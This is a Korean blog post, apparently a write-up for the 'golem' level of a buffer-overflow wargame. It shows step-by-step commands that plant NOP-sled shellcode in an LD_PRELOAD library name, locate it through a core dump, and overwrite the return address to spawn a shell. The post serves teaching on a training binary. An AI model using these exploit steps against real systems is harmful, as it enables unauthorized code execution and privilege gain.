golem, golem.c
코드를 보면 빠진 제약조건들이 많지만 stack destroyer가 추가 되었다.
stack destroyer코드를 보면 버퍼를 초기화하고 RET(buffer+44 ~ buffer+48)을 제외하고 그 아래의 모든 스택을 초기화 해버린다(argv등등 전부 다 초기화 되버린다.)
이렇게 모든 스택을 초기화 해버리면 입력값에 쉘코드를 넣어서 공격하기는 힘들다.
환경변수를 사용한다. 리눅스에는 LD_PRELOAD라는 환경변수가 존재한다.
이 환경변수를 지정해 놓으면 프로세스가 로딩하고 각종 라이브러리들을 로딩 할 때 LD_PRELOAD에 선언된 라이브러리를 가장 먼저 로딩하게 된다. LD_PRELOAD가 먼저 로딩되기 때문에 이를 이용해서 이미 존재하는 라이브러리와 이름을 같게하여 정상의 라이브러리가 로딩되지 않게하고 정상적인 라이브러리 안의 정상적인 함수와 같은 이름의 함수를 작성하여 함수를 후킹 할 수도 있다. 개인적으로 사용의 편의성보다 보안의 문제가 크다고 생각하는데 왜 존재하는지 모르겠다.
내가 필요한건 메모리에 쉘코드를 올리는 것이다. LD_PRELOAD에 넣을 라이브러리안에 쉘을 실행하는 함수를 넣고 그 위치를 찾는 것보다 라이브러리의 이름에 많은 놉과 쉘코드를 넣는 것이 찾기가 쉬울 것이다.
echo main(){} > my_lib.c
로 간단한 라이브러리 c코드를 생성하고
gcc -fPIC -shared my_lib.c -o `python -c 'print "\x90"*100 + "쉘코드"'`
로 쉘코드를 포함하는 라이브러리를 만들어 준다. ("\x2f"때문에 에러가 나는 것을 막기 위해서는 mkdir -p 로 만들 라이브러리와 같은 이름의 폴더를 만들어야한다.)
쉘코드를 이름으로 하는 라이브러리를 만들었으니 LD_PRELOAD에 선언해주어야 한다.
export LD_PRELOAD="/home/skeleton/`python -c 'print "\x90"*100 + "쉘코드"'`"
로 LD_PROLOAD에 라이브러리를 추가시켜 준다.
LD_PRELOAD에 쉘코드가 들어가 있는 것을 볼 수 있다.
공유 라이브러리의존성을 확인해 보았다.
./kolem `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`로 공격을 하고 core파일에서 공유라이브러리가 로드되는 메모리를 찾아보면 쉘코드를 찾을 수 있다.
golem을 kolem으로 복사하여 내 파일로 만들어 core파일을 생성 할 수 있도록 한다.
만약 코어덤프가 생성되지 않는다면 ulimit -c unlimited 로 코어 파일의 제한을 없앨수 있다.
esp-2000부터 메모리를 찾다보면 아까 공유라이브러리 이름으로 정해 주었던 "놉+쉘코드"를 찾을 수 있다.
이제 RET를 놉의 위치로 덮어 씌우고 공격을 성공 시킬 수 있다.
페이로드는
[lib]..........[버퍼][SFP][RET]
[lib]..........[ 버퍼 ][RET]
로 구성 할 수 있다. (버퍼, RET 뒤의 모든부분은 stack destroyer로인해 초기화)
공격을 해보면
쉘코드가 실행되고 쉘을 얻을 수 있다.
쉘코드 :
./golem `python -c 'print "A"*44 + "\x30\xf6\xff\xbf"'`
0 개의 댓글:
댓글 쓰기